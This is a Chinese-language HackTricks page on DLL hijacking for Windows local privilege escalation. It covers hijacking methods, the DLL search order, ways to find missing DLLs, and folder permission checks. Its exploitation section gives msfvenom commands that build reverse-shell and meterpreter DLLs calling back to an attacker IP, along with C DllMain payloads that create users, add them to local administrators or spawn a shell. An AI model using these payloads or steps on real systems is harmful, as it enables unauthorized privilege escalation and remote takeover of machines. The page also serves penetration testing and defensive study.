hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md

14 KiB
Raw Blame History

DLL劫持

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

如果您对黑客职业感兴趣并想要黑掉无法黑掉的 - 我们正在招聘!(需要流利的波兰语书面和口语能力)。

{% embed url="https://www.stmcyber.com/careers" %}

基本信息

DLL劫持涉及操纵受信任的应用程序以加载恶意DLL。此术语涵盖了几种策略DLL欺骗、注入和侧向加载。主要用于代码执行、实现持久性,较少用于权限提升。尽管这里关注的是提升权限,但劫持方法在不同目标中保持一致。

常见技术

DLL劫持采用多种方法每种方法的有效性取决于应用程序的DLL加载策略

  1. DLL替换用恶意DLL替换真实DLL可选择使用DLL代理以保留原始DLL的功能。
  2. DLL搜索顺序劫持将恶意DLL放置在合法DLL之前的搜索路径中利用应用程序的搜索模式。
  3. 虚拟DLL劫持为应用程序创建一个恶意DLL以加载认为它是一个不存在的必需DLL。
  4. DLL重定向:修改搜索参数,如%PATH%.exe.manifest / .exe.local文件将应用程序指向恶意DLL。
  5. WinSxS DLL替换在WinSxS目录中用恶意对应物替换合法DLL这种方法通常与DLL侧向加载相关联。
  6. 相对路径DLL劫持将恶意DLL放置在用户可控目录中与复制的应用程序一起类似于二进制代理执行技术。

查找缺失的DLL

查找系统中缺失的DLL最常见的方法是从sysinternals运行procmon设置以下2个过滤器

然后只显示文件系统活动

如果您正在寻找一般缺失的DLL,可以让其运行一段时间。
如果您正在寻找特定可执行文件中缺失的DLL,应设置另一个过滤器,如“进程名称”“包含”“<exec名称>”,执行它,然后停止捕获事件

利用缺失的DLL

为了提升权限,我们最好的机会是能够编写一个特权进程将尝试加载的DLL,在某个将被搜索的地方。因此,我们将能够在一个原始DLL更早被搜索的文件夹中编写一个DLL**(奇怪的情况),或者我们将能够在某个将被搜索的文件夹中编写DLL**,而原始DLL在任何文件夹中都不存在**。

DLL搜索顺序

Microsoft文档您可以找到DLL的具体加载方式。

Windows应用程序通过遵循一组预定义的搜索路径来查找DLL遵循特定的顺序。当有害DLL被策略性地放置在这些目录之一中时DLL劫持问题就会出现确保它在真实DLL之前加载。防止这种情况发生的解决方案是确保应用程序在引用所需DLL时使用绝对路径。

您可以在下面看到32位系统上的DLL搜索顺序

  1. 应用程序加载的目录。
  2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。(C:\Windows\System32)
  3. 16位系统目录。没有函数获取此目录的路径但会被搜索。(C:\Windows\System)
  4. Windows目录。使用GetWindowsDirectory函数获取此目录的路径。(C:\Windows)
  5. 当前目录。
  6. 列在PATH环境变量中的目录。请注意这不包括由App Paths注册表键指定的每个应用程序路径。App Paths键在计算DLL搜索路径时不使用。

这是启用SafeDllSearchMode默认搜索顺序。当禁用时,当前目录升级到第二位置。要禁用此功能,请创建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode注册表值并将其设置为0默认为启用

如果使用LoadLibraryEx函数调用LOAD_WITH_ALTERED_SEARCH_PATH,搜索将从LoadLibraryEx正在加载的可执行模块的目录开始。

最后,请注意DLL可以加载指示绝对路径而不仅仅是名称。在这种情况下该DLL只会在该路径中搜索如果DLL有任何依赖项它们将按名称搜索

还有其他改变搜索顺序的方法,但我不会在这里解释。

Windows文档中DLL搜索顺序的例外情况

Windows文档中指出了标准DLL搜索顺序的某些例外情况

  • 当遇到与内存中已加载的DLL同名的DLL时系统会绕过通常的搜索。相反它会执行重定向和清单检查然后默认使用内存中已加载的DLL。在这种情况下系统不会搜索DLL
  • 在DLL被识别为当前Windows版本的已知DLL系统将使用其版本的已知DLL及其任何依赖的DLL跳过搜索过程。注册表键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs保存这些已知DLL的列表。
  • 如果DLL有依赖项则对这些依赖DLL的搜索将像它们仅通过其模块名称指示一样进行而不管最初的DLL是否通过完整路径标识。

提升权限

要求

  • 确定一个操作或将在不同权限下运行的进程(水平或横向移动),该进程缺少一个DLL
  • 确保具有写访问权限目录中将搜索DLL。这个位置可能是可执行文件的目录或系统路径中的一个目录。

是的,要求很难找到,因为默认情况下很难找到缺少DLL的特权可执行文件,而且更难找到系统路径文件夹的写权限(默认情况下无法)。但是,在配置错误的环境中,这是可能的。
如果您幸运地发现自己符合要求,您可以查看UACME项目。即使项目的主要目标是绕过UAC,您可能会在那里找到一个用于您的Windows版本的DLL劫持的PoC(可能只需更改您具有写权限的文件夹的路径)。

请注意,您可以通过执行以下操作检查文件夹中的权限

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

检查路径内所有文件夹的权限

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

您还可以使用以下命令检查可执行文件的导入项和 DLL 的导出项:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

要了解如何滥用Dll劫持以提升权限并具有在系统路径文件夹中写入权限的完整指南,请查看:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

自动化工具

Winpeas将检查您是否具有在系统路径内任何文件夹上的写入权限。
其他有趣的自动化工具来发现此漏洞是PowerSploit函数Find-ProcessDLLHijackFind-PathDLLHijack_和_Write-HijackDll

示例

如果发现可利用的情况,成功利用的最重要的事情之一将是创建一个至少导出可执行文件将从中导入的所有函数的dll。无论如何请注意Dll劫持很方便可以从中间完整性级别升级到高级别**(绕过UAC)或从高完整性升级到SYSTEM**。您可以在此dll劫持研究中找到一个创建有效dll的示例该研究专注于用于执行的dll劫持https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
此外,在下一部分中,您可以找到一些基本dll代码,这些代码可能对模板或创建具有非必需导出函数的dll有用。

创建和编译Dlls

Dll代理

基本上,Dll代理是一个能够在加载时执行您的恶意代码,但也能够公开按照预期工作Dll,通过将所有调用中继到真实库

使用工具DLLirantSpartacus,您实际上可以指示一个可执行文件并选择要代理的库,然后生成一个代理dll,或者指示Dll生成一个代理dll

Meterpreter

获取反向shellx64

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

获取一个meterpreterx86

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

创建一个用户x86 我没有看到 x64 版本):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

你自己

请注意,在几种情况下,您编译的 DLL 必须导出多个函数,这些函数将由受害进程加载,如果这些函数不存在,二进制文件将无法加载它们,利用将失败

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

参考资料

如果您对黑客职业感兴趣并想要攻破不可攻破的 - 我们正在招聘!需要流利的波兰语书面和口语)。

{% embed url="https://www.stmcyber.com/careers" %}

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式